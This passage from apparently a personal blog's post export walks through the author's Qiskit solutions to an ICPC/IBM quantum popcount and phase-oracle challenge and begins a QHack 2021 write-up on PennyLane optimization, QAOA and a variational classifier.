Circ.ry(np.pi/4,Y[0]) Circ.cx(X[3],Y[0]) Circ.ry(np.pi/4,Y[0]) Circ.cx(X[1],Y[0]) Circ.ry(-np.pi/4,Y[0]) Circ.cx(X[3],Y[0]) Circ.ry(-np.pi/4,Y[0]) Do you see it yet? We are doing the same setup for both gate breakdowns. I can eliminate most of the second gate deconstruction by simply adding the Circ.cx(X[3],Y[0]) to the first breakdown - achieving the same end result. #Circ.rccx(X[1],X[2],Y[0]) #Circ.rccx(X[1],X[3],Y[0]) Circ.ry(np.pi/4,Y[0]) Circ.cx(X[2],Y[0]) Circ.cx(X[3],Y[0]) Circ.ry(np.pi/4,Y[0]) Circ.cx(X[1],Y[0]) Circ.ry(-np.pi/4,Y[0]) Circ.cx(X[3],Y[0]) Circ.cx(X[2],Y[0]) Circ.ry(-np.pi/4,Y[0]) With this knowledge I am able to combine three RCCX gates together and another two RCCX gates to a condensed version of our original circuit. The final structure then becomes the below. def Circuit_2(In,Ou,Sc): if Sc != 0: # initiating required qubits X = QuantumRegister(In, 'input') Y = QuantumRegister(Ou, 'output') S = QuantumRegister(Sc, 'scratch') # creating circuit with above qubits Circ = QuantumCircuit(X,Y,S) else: # initiating required qubits X = QuantumRegister(In, 'input') Y= QuantumRegister(Ou, 'output') # creating circuit with above qubits Circ = QuantumCircuit(X,Y) ##### Create you circuit below ######### #Circ.rccx(X[0],X[1],Y[0]) #Circ.rccx(X[0],X[2],Y[0]) #Circ.rccx(X[0],X[3],Y[0]) Circ.ry(np.pi/4,Y[0]) Circ.cx(X[1],Y[0]) Circ.cx(X[2],Y[0]) Circ.cx(X[3],Y[0]) Circ.ry(np.pi/4,Y[0]) Circ.cx(X[0],Y[0]) Circ.ry(-np.pi/4,Y[0]) Circ.cx(X[3],Y[0]) Circ.cx(X[2],Y[0]) Circ.cx(X[1],Y[0]) Circ.ry(-np.pi/4,Y[0]) #Circ.rccx(X[1],X[2],Y[0]) #Circ.rccx(X[1],X[3],Y[0]) Circ.ry(np.pi/4,Y[0]) Circ.cx(X[2],Y[0]) Circ.cx(X[3],Y[0]) Circ.ry(np.pi/4,Y[0]) Circ.cx(X[1],Y[0]) Circ.ry(-np.pi/4,Y[0]) Circ.cx(X[3],Y[0]) Circ.cx(X[2],Y[0]) Circ.ry(-np.pi/4,Y[0]) #Circ.rccx(X[2],X[3],Y[0]) Circ.ry(np.pi/4,Y[0]) Circ.cx(X[3],Y[0]) Circ.ry(np.pi/4,Y[0]) Circ.cx(X[2],Y[0]) Circ.ry(-np.pi/4,Y[0]) Circ.cx(X[3],Y[0]) Circ.ry(-np.pi/4,Y[0]) ############################ Circ = transpile(Circ, basis_gates=['u3','cx'],optimization_level=3) return Circ Problem 1.c The third portion of this problem is to calculate our highest significant bit. With four inputs to consider our HSB can only be 1 if all inputs are also 1. Similarly to part b we do not need to take relative phase into consideration, therefore I can leverage RCCX gates instead of regular Toffolis and gain a bit of efficiency. def Circuit_3(In,Ou,Sc): # initiating required qubits X = QuantumRegister(In, 'input') Y = QuantumRegister(Ou, 'output') # creating circuit with above qubits Circ = QuantumCircuit(X,Y) ##### Create you circuit below ######### Circ.rccx(X[0],X[1],S[0]) Circ.rccx(X[2],X[3],S[1]) Circ.rccx(S[0],S[1],Y[0]) Circ.rccx(X[0],X[1],S[0]) Circ.rccx(X[2],X[3],S[1]) ######################################## # Transpiling the circuit into u, cnot Circ = transpile(Circ, basis_gates=['u3','cx'],optimization_level=3) return Circ Problem 2 - Fourier Popcount The second problem was essentially an extension of the first. While we were limited to 4 inputs on the first challenge, the second amped up the difficulty by having us consider a much larger 15 and 16 inputs. I could in theory leverage the same approach I did in the first problem, however the circuit complexity would quickly elevate if so. There has to be a more efficient method... and sure enough there is. After a bit of reading I got to ARXIV-1804.03719, more specifically using Quantum Fourier Transform (QFT) circuits. Let's see how we can leverage this and solve the first 15-input problem. Problem 2.a We already know the popcount theory from our first theory. There will be 15 inputs, which means there can be at most 4 outputs - 1111 would represent 15 in binary, our largest possible number if all inputs were \"on\". The Qiskit documentation on QFT provides a good intuition explanation on what I am was trying to achieve. The quantum Fourier transform (QFT) transforms between two bases, the computational (Z) basis, and the Fourier basis. The H-gate is the single-qubit QFT, and it transforms between the Z-basis states |0⟩ and |1⟩ to the X-basis states |+⟩ and |−⟩. In the same way, all multi-qubit states in the computational basis have corresponding states in the Fourier basis. The QFT is simply the function that transforms between these bases. Additionally, and more directly applicable when considering our problem statement, the Qiskit textbook provides a very elaborative set of GIFs on how counting works in QFT. First in computational basis Then in Fourier space Since I will be using 15 inputs and 4 outputs the gifs essentially illustrate what I am trying to achieve. I think I'm almost able to put the approach to code now. To leverage the QFT approach I need to setup the QFT, perform the rotations, and then perform the QFT-dagger to bring me back to original basis. Let's see if we can figure this out. # Importing the qiskit module from qiskit import * import numpy as np # Defining input, output and scratch qubits x15 = 15 # number of input qubits y15 = 4 # number of output qubit s15 = 0 # number of scratch qubit # Defining Quantum Circuit with the given circuits def Circuit_15(In,Ou,Sc): # initiating required qubits X = QuantumRegister(In, 'input') Y= QuantumRegister(Ou, 'output') # creating circuit with above qubits Circ = QuantumCircuit(X,Y) ##### Create you circuit below ######### #QFT Circ.h(Y[0]) Circ.h(Y[1]) Circ.h(Y[2]) Circ.h(Y[3]) #Evaluate based on X0..X14 for i in range(15): Circ.cp(np.pi/8, X[i], Y[3]) Circ.cp(np.pi/4, X[i], Y[2]) Circ.cp(np.pi/2, X[i], Y[1]) Circ.cp(np.pi, X[i], Y[0]) #Circ.barrier() #QFT-Dagger Circ.h(Y[0]) Circ.cp(-np.pi/2, Y[0], Y[1]) Circ.h(Y[1]) Circ.cp(-np.pi/4, Y[0], Y[2]) Circ.cp(-np.pi/2, Y[1], Y[2]) Circ.h(Y[2]) Circ.cp(-np.pi/8, Y[0], Y[3]) Circ.cp(-np.pi/4, Y[1], Y[3]) Circ.cp(-np.pi/2, Y[2], Y[3]) Circ.h(Y[3]) ######################################## # Transpiling the circuit into u, cnot Circ = transpile(Circ, basis_gates=['u3','cx'],optimization_level=3) return Circ qc_2a = Circuit_15(x15,y15,s15) In this case since I know the outputs are starting at \\(\\left|0\\right&gt;\\) I can partially cheat and shortcut the QFT portion by only using a Hadamard on them. Then rotate the outputs in Fourier basis, and bring it back to Computational basis with hopefully the right output. A small section of the start and end of the circuit to drive home how the overall circuit looks like Thankfully after a few minor typos the grader returned some good news. Problem 2.b Are you sick of popcount yet? Hopefully not because we have one final problem related to it. This time, 16 inputs instead of 15. The big difference is if you remember that 15 can be represented as 1111, but 16 now must be represented by an additional output qubit - 10000. So 16 inputs, 5 outputs. The main nuance is that we now need to go down to pi/16 for the fifth qubit. Everything else is the same as the first part of the challenge. # Importing the qiskit module from qiskit import * # Defining input, output and scratch qubits x16 = 16 # number of input qubits y16 = 5 # number of output qubit s16 = 0 # number of scratch qubit # Defining Quantum Circuit with the given circuits def Circuit_16(In,Ou,Sc): # initiating required qubits X = QuantumRegister(In, 'input') Y= QuantumRegister(Ou, 'output') # creating circuit with above qubits Circ = QuantumCircuit(X,Y) ##### Create you circuit below ######### #QFT Circ.h(Y[0]) Circ.h(Y[1]) Circ.h(Y[2]) Circ.h(Y[3]) Circ.h(Y[4]) #Evaluate based on X0..X15 for i in range(16): Circ.cp(np.pi/16, X[i], Y[4]) Circ.cp(np.pi/8, X[i], Y[3]) Circ.cp(np.pi/4, X[i], Y[2]) Circ.cp(np.pi/2, X[i], Y[1]) Circ.cp(np.pi, X[i], Y[0]) #QFT-Dagger Circ.h(Y[0]) Circ.cp(-np.pi/2, Y[0], Y[1]) Circ.h(Y[1]) Circ.cp(-np.pi/4, Y[0], Y[2]) Circ.cp(-np.pi/2, Y[1], Y[2]) Circ.h(Y[2]) Circ.cp(-np.pi/8, Y[0], Y[3]) Circ.cp(-np.pi/4, Y[1], Y[3]) Circ.cp(-np.pi/2, Y[2], Y[3]) Circ.h(Y[3]) Circ.cp(-np.pi/16, Y[0], Y[4]) Circ.cp(-np.pi/8, Y[1], Y[4]) Circ.cp(-np.pi/4, Y[2], Y[4]) Circ.cp(-np.pi/2, Y[3], Y[4]) Circ.h(Y[4]) ######################################## # Transpiling the circuit into u, cnot Circ = transpile(Circ, basis_gates=['u3','cx'],optimization_level=3) return Circ qc_2b = Circuit_16(x16,y16,s16) Just like that the second challenge is complete. Two down, one more to go! Problem 3 - Unitaries Shifting gears from leveraging popcount we now take a look at relative phase and how to compute Boolean functions into quantum states. Specifically: In the previous two problems, the output of a classical Boolean function is computed into an additional qubit. However, quantum computers can also compute Boolean functions into the phase of a quantum state, which we explore in this problem. In a more practical example the notebook covers what they actually mean by this. For a given function \\(f(x_1 x_2) = x_1 x_2\\) the Boolean function is \"true\" if and only iff both inputs are 1. For \\(f(x_1 x_2) = x_1 + x_2\\) the Boolean function is \"true\" only if either \\(x_1\\) or \\(x_2\\) are 1, but not both. Our challenge is to create circuits that apply a relative phase to the our qubits when the circuit emulates a Boolean \"true\". The below illustrates the two sample functions in terms of quantum circuits and relative phase. If we follow the logic of the circuit it becomes clear that on (a) a relative phase of β/2 is applied to both qubits, bringing us in line with a full β relative phase. As long as both qubits are 1 when the CNOTs flip \\(x_2 \\) the negative -β/2 phase doesn't get applied, leaving a full β relative phase on Boolean \"true\". It then becomes trivial to see that if either of the inputs are 0 the relative phase gets removed. Similarly for (b) we can immediately see that with an auxiliary qubit starting as \\(\\left|0\\right&gt;\\) if and only if a single input is 1 does the phase β get applied. Otherwise the CNOT gates put the aux qubit back to 0 and the phase is not applied. With the background information clarified we are now presented with five different functions where we need to design the quantum circuit to add a relative phase when they \"evaluate as true\" in terms of the Boolean function. Problem 3.a The first problem was the simplest but also maybe the one that took the most thinking to truly get. The Boolean function will never be true. Therefore it really doesn't matter what we do as a circuit since at no point there should be a relative phase added. # Importing the qiskit module from qiskit import * q0 = 3 # number of required qubits a0 = 0 # number of ancilla qubit beta = circuit.Parameter('beta') #Parameter for reflection # Defining Quantum Circuit with the given circuits def Circuit_0(q,a,beta): # initiating required qubits Q = QuantumRegister(q, 'input') # creating circuit with above qubits Circ = QuantumCircuit(Q) ##### Create you circuit below ######### # nothing! ######################################## # Transpiling the circuit into u, cnot Circ = transpile(Circ, basis_gates=['u3','cx'],optimization_level=3) return Circ qc_3a = Circuit_0(q0,a0,beta) Problem 3.b The second part of this problem becomes a Boolean true when all inputs are 1. There are several ways we can achieve this. Initially I went with two auxiliary qubits and leveraged RCCX with careful consideration that since RCCX doesn't play nice with relative phase to make sure to reverse it. Circ.rccx(Q[0],Q[1],A[1]) Circ.rccx(Q[2],A[1],A[0]) Circ.p(beta, A[0]) Circ.rccx(Q[2],A[1],A[0]) Circ.rccx(Q[0],Q[1],A[1]) Aux qubits are expensive however, so we can do better. Since it doesn't matter where we apply the relative phase, only that it is introduced we can consolidate the above and cut down one one qubit. Circ.rccx(Q[0], Q[1], A[0]) Circ.cp(beta, A[0], Q[2]) Circ.rccx(Q[0], Q[1], A[0]) We can still do better though! I wasn't aware of this Qiskit gate before this challenge but there is a nifty one-liner that achieves what we are trying to do, without any extra qubits! The MCP gate acts as a toffoli, applying a provided phase. Let's look at the full circuit now. # Importing the qiskit module from qiskit import * q1 = 3 # number of required qubits a1 = 0 # number of ancilla qubit beta = circuit.Parameter('beta') #Parameter for reflection # Defining Quantum Circuit with the given circuits def Circuit_1(q,a,beta): # initiating required qubits Q = QuantumRegister(q, 'input') # creating circuit with above qubits Circ = QuantumCircuit(Q) ##### Create you circuit below ######### Circ.mcp(beta, [Q[0], Q[1]], Q[2]) ######################################## return Circ qc_3b = Circuit_1(q1,a1,beta) Problem 3.c For this portion of the problem all the inputs need to either be 1 or 0. When they are all 1 the left portion \\(x_1 x_2 x_3\\) evaluates as 1 while the right portion \\((1-x_1)(1-x_2)(1-x_3)\\) becomes 0, meaning it evaluates as 1+0. When the inputs are all 0 the inverse happens. At any point where there is a mix of inputs that are 1 and 0 the overall term becomes 0. Using our same MCP gate from above we can codify this easily enough. # Importing the qiskit module from qiskit import * q2 = 3 # number of required qubits a2 = 0 # number of ancilla qubit beta = circuit.Parameter('beta') #Parameter for reflection # Defining Quantum Circuit with the given circuits def Circuit_2(q,a,beta): # initiating required qubits Q = QuantumRegister(q, 'input') # creating circuit with above qubits Circ = QuantumCircuit(Q) ##### Create you circuit below #########| #assuming 111 #Circ.rccx(Q[0], Q[1], A[0]) #Circ.cp(beta, A[0], Q[2]) #Circ.rccx(Q[0], Q[1], A[0]) Circ.mcp(beta, [Q[0], Q[1]], Q[2]) #assuming 000 Circ.x(Q[0]) Circ.x(Q[1]) Circ.x(Q[2]) #Circ.rccx(Q[0], Q[1], A[0]) #Circ.cp(beta, A[0], Q[2]) #Circ.rccx(Q[0], Q[1], A[0]) Circ.mcp(beta, [Q[0], Q[1]], Q[2]) Circ.x(Q[0]) Circ.x(Q[1]) Circ.x(Q[2]) ######################################## # Transpiling the circuit into u, cnot Circ = transpile(Circ, basis_gates=['u3','cx'],optimization_level=3) return Circ qc_3c = Circuit_2(q2,a2,beta) Problem 3.d This would be what I consider the most challenging of the third problem components conceptually. In this case the function becomes a Boolean true if and only if a single input is 1 - which matches up with having three possible solutions. Let me start with using the single qubit phase application portion of the circuit. for i in range(q3): Circ.cx(Q[i], A[0]) Circ.p(beta, A[0]) for i in reversed(range(q3)): Circ.cx(Q[i], A[0]) You can follow along and see that when a single input is 1, phase gets applied. When two are 1 the phase does not get applied. But if all three are enabled we still get the phase applied. So we need to take care of this particular edge case as well. I can add an negative β leveraging our MCP gate so it eliminates this scenario from the overall circuit. The full circuit ends up being. # Importing the qiskit module from qiskit import * import numpy as np q3 = 3 # number of required qubits a3 = 1 # number of ancilla qubit beta = circuit.Parameter('beta') #Parameter for reflection # Defining Quantum Circuit with the given circuits def Circuit_3(q,a,beta): # initiating required and ancilla qubits Q = QuantumRegister(q, 'input') A = QuantumRegister(a, 'ancilla') # creating circuit with above qubits Circ = QuantumCircuit(Q,A) ##### Create you circuit below ######### #Circ.rccx(Q[0], Q[1], A[0]) #Circ.cp(-beta, A[0], Q[2]) #Circ.rccx(Q[0], Q[1], A[0]) Circ.mcp(-beta, [Q[0], Q[1]], Q[2]) for i in range(q3): Circ.cx(Q[i], A[0]) Circ.p(beta, A[0]) for i in reversed(range(q3)): Circ.cx(Q[i], A[0]) ######################################## # Transpiling the circuit into u, cnot Circ = transpile(Circ, basis_gates=['u3','cx'],optimization_level=3) return Circ qc_3d = Circuit_3(q3,a3,beta) Problem 3.e The last part of the problem! This one actually ends up being a simplified portion of the previous part - with a caveat. I couldn't understand at first HOW there were 4 solutions for the equation \\(x_1 + x_2 + x_3\\) until I realized that we are essentially wrapping the count. So the solution is if only one of the three qubits are 1, which accounts for three solutions, but we have one more. When all three inputs are 1 we can essentially consider the Boolean output as 1, or true, as well. This ends up being the same solution as our previous part, without the MCP to account for the condition where all inputs are 1. # Importing the qiskit module from qiskit import * q4 = 3 # number of required qubits a4 = 1 # number of ancilla qubit beta = circuit.Parameter('beta') #Parameter for reflection # Defining Quantum Circuit with the given circuits def Circuit_4(q, a, beta): # initiating required and ancilla qubits Q = QuantumRegister(q, 'input') A = QuantumRegister(a, 'ancilla') # creating circuit with above qubits Circ = QuantumCircuit(Q,A) ##### Create you circuit below ######### Circ.cx(Q[0],A[0]) Circ.cx(Q[1],A[0]) Circ.cx(Q[2],A[0]) Circ.p(beta, A[0]) Circ.cx(Q[2],A[0]) Circ.cx(Q[1],A[0]) Circ.cx(Q[0],A[0]) ######################################## # Transpiling the circuit into u, cnot Circ = transpile(Circ, basis_gates=['u3','cx'],optimization_level=3) return Circ qc_3e = Circuit_4(q4,a4,beta) With that I can run the solutions through the grader and see where this ends up. Conclusion &amp; Recap The scoring for this event was interesting in that it also took into consideration when you initially submitted a successful answer. There were quite a few questions from the participants as to how this worked and during the competition the ICPC and IBM teams released a good breakdown on the calculation. I will be honest and wish this would have been clearer from the beginning. I was only able to start the challenges on Saturday, despite the event starting Thursday and potentially lost some valuable points due to the delayed start. Ultimately I am happy that the team responded to the participants and did add the the scoring algorithm to clarify how it was being judged. Another nuance, which did not get a clear answer that I am aware of, is that throughout the challenge invalid answers were stripped from the leaderboards. Answers falling outside the bounds of the challenge, such as issuing resets mid circuit, were removed and the score eliminated. Now this opens the question of whether the \"order of successful answer\" also gets reset with this these eliminations. On one side I believe they should be removed as the answer was not deemed valid, however on the other hand there are two points - first that it was not explicitly stated that these approaches would not be valid/the grader allowed them through, and secondly that there was no way to submit a \"worst\" answer once the invalid, more efficient solution was submitted. Food for thought but I felt this could have been a bit more transparent. Once everything was said, done and the submission portal was closed, there was a period of a couple weeks where the ICPC team went through the top submissions to ensure they conformed to the spirit of the competition. Once that was done I am happy to say that I squared out the top 20 of overall submissions. As with all the IBM based events I came out of it learning much more than what I came into the event with. Additionally this was the first event where tips and tricks from previous events (such as the RCCX decomposition) were carried over and applied. Clearly it looks like at least something is sticking by doing these events! Honestly it was a really well run event and I thank the ICPC and IBM teams for organizing and running it. I managed to knock off a few more positions in the global standings and hoping to see myself crack the top 10 in upcoming events. Thanks folks, until next time!" }, { "title": "QHack 2021 - Circuit Training Track", "url": "/quantum-computing/2021/02/27/xanadu-qhack-2021-circuit-training/", "categories": "quantum-computing", "tags": "pennylane, quantum-computing, quantum challenge, quantum machine learning", "date": "2021-02-27 07:00:00 -0500", "content": "Introduction QHACK 2021 was a virtual conference hosted by Xanadu where individuals had an opportunity to learn hands on about Quantum Machine Learning. The event included a two part Hackathon for individuals to challenge themselves as well as compete against other participants around the globe. The first portion of the event included academic challenges for teams to complete for \"power ups\" (AWS credits and bonuses) that could be applied on the second portion which was a more creative project based effort. The challenges in the first portion were broken up into four categories - simple circuits, quantum gradients, circuit training, and variational quantum eigensolvers (VQE). The full challenge notebooks are still available on Xanadu's github page for anyone interested in taking a look at the original problem material. As we were competing in a team (Quantum-plators) we broke up the challenges amongst our team members and I ended up taking on the circuit training track - which included 100, 200 and 500 point challenges. Over the course of this post I will cover my approaches and solutions to all three challenges. The first two focused more on theoretical application, ensuring we understood the fundamentals of Pennylane and QML in general. The training_circuit500 problem dove a bit deeper however, allowing us to define our own variational quantum circuit on the way to training the model with our given test data. We needed to define the circuit and properly classify hidden test data to a narrow acceptance tolerance on the hackathon portal for the submission to be successful. Considering I had an extremely limited exposure to QML (and ML in general) prior to this event I am happy to say I managed to learn quite a bit going through these challenges and am even happier to say I was able to solve them. These events are an excellent opportunity to step outside our normal bounds in a structured format helping guide \"where to start\" with an element of competitiveness that allows us to push further. Without further ado, let's get to the code. Training Circuit 100 Let's start by reading the problem statements carefully. Alright let us break this down. We are given a template python file, where the challenge will be to fill in the missing sections, a pair of input and corresponding \"correct\" outputs to validate our code, and finally the specifications we must adhere to. Time to take a look at the template they provided. Thankfully the organizers clearly delineated code sections we were to fill in with # QHACK # to avoid confusion. It may seem like a triviality, however small things like this marker make the challenges much clearer to participants - kudos! According to the template our variational circuit is already defined for us and the focus of this challenge is to fill in the circuit optimization portion. def optimize_circuit(params): \"\"\"Minimize the variational circuit and return its minimum value. The code you write for this challenge should be completely contained within this function between the # QHACK # comment markers. You should create a device and convert the variational_circuit function into an executable QNode. Next, you should minimize the variational circuit using gradient-based optimization to update the input params. Return the optimized value of the QNode as a single floating-point number. Args: params (np.ndarray): Input parameters to be optimized, of dimension 30 Returns: float: the value of the optimized QNode \"\"\" optimal_value = 0.0 # QHACK # # Initialize the device # dev = ... # Instantiate the QNode # circuit = qml.QNode(variational_circuit, dev) # Minimize the circuit # QHACK # # Return the value of the minimized QNode return optimal_value Everything we need to know for this first challenge is available at the Pennylane Qubit Rotation Tutorial. From first creating the Qnode, calculating the quantum gradient, to optimizing the cost/parameters, all the components are broken out and explained. In essence what we are attempting to do is run our circuit, starting with \"random\" parameters. The optimization algorithm will then adjust those paramaters in an attempt to find the combinations that produce the lowest \"cost\" as defined by our cost function. Between the challenge template and tutorial we are able to plug in the required parts and see the optimization in action. def optimize_circuit(params): \"\"\"Minimize the variational circuit and return its minimum value. The code you write for this challenge should be completely contained within this function between the # QHACK # comment markers. You should create a device and convert the variational_circuit function into an executable QNode. Next, you should minimize the variational circuit using gradient-based optimization to update the input params. Return the optimized value of the QNode as a single floating-point number. Args: params (np.ndarray): Input parameters to be optimized, of dimension 30 Returns: float: the value of the optimized QNode \"\"\" optimal_value = 0.0 # QHACK # # Initialize the device # dev = ... dev = qml.device(\"default.qubit\", wires=WIRES) # Instantiate the QNode circuit = qml.QNode(variational_circuit, dev) # initialise the optimizer steps = 50 opt = qml.GradientDescentOptimizer(stepsize=0.4) # Minimize the circuit for i in range(steps): # update the circuit parameters after each step relative to cost &amp; params params = opt.step(circuit, params) optimal_value = circuit(params) # QHACK # # Return the value of the minimized QNode return optimal_value All that is left is to run it with our provided test data and compare the output with the expected answers. Sure enough it looks good and we can submit the code to the hackathon dashboard. Training Circuit 200 No time to rest as we still have two more challenges to tackle! This second challenge focused on quantum approximate optimization algorithm (QAOA) and solving a graph max independent problem. More specifically the problem statement. As I had no previous experience with QAOA I gladly took a look at the suggested Pennylane QAOA Introduction. Starting with the absolute basics in the tutorial I learned how we can think of quantum circuits in terms of Hamiltonians. More specifically time evolution operators \\(U(H,t) = e^{iγH}\\) where γ is a scalar and \\(H\\) is a Hermitian operator interpreted as a Hamiltonian. The challenge problem statement referred to an optimized γ that is provided, therefore we are on the right track. There is more theory to understand before we can start coding though. As we are told that we would need to alternate 10 variants of Cost and Mixer Hamiltonians the Pennlyane QAOA tutorial covers a useful function we will be using - layers. By using this function we are able to define the initial circuit template and copy that section multiple times with ease. At this point we are ready to start defining the QAOA code. The tutorial breaks the overall QAOA approach we need to emulate down to 6 steps. Let's see it in action indeed! The tutorial then continued with a minimum vertex cover problem, however our challenge problem is slightly different. We are looking to solve a maximum independent set of a graph with 6 nodes. We can print out the problem's graph provided in the sample data to have a better visual of what we are working with. Just by looking at the graph we can tell that the answer in this case would be [2,3,4]. This is also confirmed by looking at the sample output provided. Alright we have the base information required so let's get this created. The first part of code that we need to import is the qaoa functionality from pennylane. With that we can define our Cost and Mixer Hamiltonians. def find_max_independent_set(graph, params): \"\"\"Find the maximum independent set of an input graph given some optimized QAOA parameters. The code you write for this challenge should be completely contained within this function between the # QHACK # comment markers. You should create a device, set up the QAOA ansatz circuit and measure the probabilities of that circuit using the given optimized parameters. Your next step will be to analyze the probabilities and determine the maximum independent set of the graph. Return the maximum independent set as an ordered list of nodes. Args: graph (nx.Graph): A NetworkX graph params (np.ndarray): Optimized QAOA parameters of shape (2, 10) Returns: list[int]: the maximum independent set, specified as a list of nodes in ascending order \"\"\" from pennylane import qaoa wires = range(6) cost_h, mixer_h = qaoa.max_independent_set(graph, constrained=True) The next portion follows the path of the tutorial. We need to define our template circuit and then layer it the amount of times we need - in this case ten. def qaoa_layer(gamma, alpha): qaoa.cost_layer(gamma, cost_h) qaoa.mixer_layer(alpha, mixer_h) def circuit1(params, **kwargs): qml.layer(qaoa_layer, N_LAYERS, params[0], params[1]) The last part is to create the remainder of the circuit definition and pull out the max solution of probabilities. Since we've been told that there is only a single solution per graph this ensures that the right combination is always chosen. def probability_circuit(params): circuit1(params) return qml.probs(wires=wires) dev = qml.device(\"default.qubit\", wires=6) circuit = qml.QNode(probability_circuit, dev) probs = circuit(params) solution = np.max(probs) result = np.where(probs == np.amax(probs)) Let's run the code against our first input and see where we are at. Hum...that doesn't seem right. But wait! If we convert 14 to Binary we get 001110 (reverse ordering) which translates to the 2nd, 3rd, and 4th nodes being 1 - or in quantum terms, our qubits representing the nodes of the solution. Ok so the logic works, but we need to massage the output a bit. Quickly writing a small utility that can be inserted to the code I was able to get that done. I'm sure there were much simpler ways to get this portion done, however as this wasn't the focus of the challenge I just \"made it work\" rather than look for an elegant solution. test = result[0].item() def get_bin(x, n=0): return format(x, 'b').zfill(n) test_format = get_bin(test,6) string_ans = test_format i = 0 for char in string_ans: if char == \"1\": max_ind_set.append(i) i+=1 With the code successul in terms of the test data it was uploaded to the hackathon dashboard and thankfully the hidden data-set was also evaluated properly. Two challenges down, one to go! Training Circuit 500 Now time to get into the beefier of the challenges! In this problem we are provided with a data set of 250 points in 3d space and their corresponding labels among [-1,0,1]. Additionally we are provided with a smaller data set of 50 points and the corresponding labels as answers. Our challenge is to create a variational quantum classifier that can properly classify the smaller test data set (where the \"answer\" should match the provided smaller set of 50 labels) within the stipulated time and accuracy tolerances. As with the first two challenges there was some good Variational Classifier tutorial documentation available from Pennylane that helped get a base understanding of what we need to do. Unlike the previous two challenges however this one was not as hand holding and required us to come up with our own modifications. There were a couple points here that ended tripping me up in the longer run. The first is that I interpreted the translated set of angles as absolutely required in my future approach. As we will see this was not required and working with normalized data was enough to succeed. The second is that the example provided in the tutorial deals only with positive vectors. I initially went down the road of using the reference material to define my statepreparation for positive &amp; negative space, however that ended up not being required and using the simplified, postive vector only model was successful. Following the tutorial I first loaded in the data and prepared it for training. def classify_data(X_train, Y_train, X_test): \"\"\"Develop and train your very own variational quantum classifier. Use the provided training data to train your classifier. The code you write for this challenge should be completely contained within this function between the # QHACK # comment markers. The number of qubits, choice of variational ansatz, cost function, and optimization method are all to be developed by you in this function. Args: X_train (np.ndarray): An array of floats of size (250, 3) to be used as training data. Y_train (np.ndarray): An array of size (250,) which are the categorical labels associated to the training data. The categories are labeled by -1, 0, and 1. X_test (np.ndarray): An array of floats of (50, 3) to serve as testing data. Returns: str: The predicted categories of X_test, converted from a list of ints to a comma-separated string. \"\"\" # Use this array to make a prediction for the labels of the data in X_test predictions = [] # QHACK # ... X = X_train # pad the vectors with constant values padding = 0.3 * np.ones((len(X), 1)) X_pad = np.c_[np.c_[X, padding], np.zeros((len(X), 1))] # normalize each input normalization = np.sqrt(np.sum(X_pad ** 2, -1)) X_norm = (X_pad.T / normalization).T # angles for state preparation are new features # ultimate this wasn't required features = np.array([get_angles(x) for x in X_norm]) Y = Y_train ####### Mapping Test Data ########## X_data = X_test # pad the vectors with constant values x_padding = 0.3 * np.ones((len(X_data), 1)) X_data_pad = np.c_[np.c_[X_data, x_padding], np.zeros((len(X_data), 1))] # normalize each input x_normalization = np.sqrt(np.sum(X_data_pad ** 2, -1)) X_data_norm = (X_data_pad.T / x_normalization).T # angles for state preparation are new features # ultimately wasn't required x_features = np.array([get_angles(x) for x in X_data_norm]) At this point we have X as our training data, Y as our training answers, and X_data as our testing data that we can use to validate our training model. With one more piece of code we can visualize what our data looks like at the moment. import matplotlib.pyplot as plt plt.figure() plt.scatter(X[:, 0][Y == 1], X[:, 1][Y == 1], c=\"b\", marker=\"o\", edgecolors=\"k\") plt.scatter(X[:, 0][Y == 0], X[:, 1][Y == 0], c=\"g\", marker=\"o\", edgecolors=\"k\") plt.scatter(X[:, 0][Y == -1], X[:, 1][Y == -1], c=\"r\", marker=\"o\", edgecolors=\"k\") plt.title(\"Original data\") plt.show() plt.figure() dim1 = 0 dim2 = 1 plt.scatter( X_norm[:, dim1][Y == 1], X_norm[:, dim2][Y == 1], c=\"b\", marker=\"o\", edgecolors=\"k\" ) plt.scatter( X_norm[:, dim1][Y == -1], X_norm[:, dim2][Y == -1], c=\"r\", marker=\"o\", edgecolors=\"k\" ) plt.scatter( X_norm[:, dim1][Y == 0], X_norm[:, dim2][Y == 0], c=\"g\", marker=\"o\", edgecolors=\"k\" ) plt.title(\"Padded and normalised data (dims {} and {})\".format(dim1, dim2)) plt.show() plt.figure() dim1 = 0 dim2 = 1 plt.scatter( features[:, dim1][Y == 1], features[:, dim2][Y == 1], c=\"b\", marker=\"o\", edgecolors=\"k\" ) plt.scatter( features[:, dim1][Y == -1], features[:, dim2][Y == -1], c=\"r\", marker=\"o\", edgecolors=\"k\" ) plt.scatter( features[:, dim1][Y == 0], features[:, dim2][Y == 0], c=\"g\", marker=\"o\", edgecolors=\"k\" ) plt.title(\"Feature vectors (dims {} and {})\".format(dim1, dim2)) plt.show() As we can see from the graph, which unfortunately wasn't immediately clear for me at the time, the normalized data has the best distribution for classifying the data. Call it fog of competition but only once I came up for a breath and took a step back after beating my head against training with the feature map data did I realize this. Before we can take a stab at classifying the data itself there are still some functions to define. We still need to create the circuits, the cost functions, the state preparation circuit, and an ability to define whether a prediction was accurate or not. n_qubits = 2 dev = qml.device(\"default.qubit\", wires=n_qubits) def layer(W): qml.Rot(W[0, 0], W[0, 1], W[0, 2], wires=0) qml.Rot(W[1, 0], W[1, 1], W[1, 2], wires=1) qml.CNOT(wires=[0, 1]) def get_angles(x): beta0 = 2 * np.arcsin(np.sqrt(x[1] ** 2) / np.sqrt(x[0] ** 2 + x[1] ** 2 + 1e-12)) beta1 = 2 * np.arcsin(np.sqrt(x[3] ** 2) / np.sqrt(x[2] ** 2 + x[3] ** 2 + 1e-12)) beta2 = 2 * np.arcsin(np.sqrt(x[2] ** 2 + x[3] ** 2)/ np.sqrt(x[0] ** 2 + x[1] ** 2 + x[2] ** 2 + x[3] ** 2)) return np.array([beta2, -beta1 / 2, beta1 / 2, -beta0 / 2, beta0 / 2]) def statepreparation(a): # In theory this only works with positive numbers qml.RY(a[0], wires=0) qml.CNOT(wires=[0, 1]) qml.RY(a[1], wires=1) qml.CNOT(wires=[0, 1]) qml.RY(a[2], wires=1) qml.PauliX(wires=0) qml.CNOT(wires=[0, 1]) qml.RY(a[3], wires=1) qml.CNOT(wires=[0, 1]) qml.RY(a[4], wires=1) qml.PauliX(wires=0) @qml.qnode(dev) def circuit(weights, angles): statepreparation(angles) for W in weights: layer(W) return qml.expval(qml.PauliZ(1)) def variational_classifier(var, angles): weights = var[0] bias = var[1] return circuit(weights, angles) + bias def square_loss(labels, predictions): loss = 0 for l, p in zip(labels, predictions): loss = loss + (l - p) ** 2 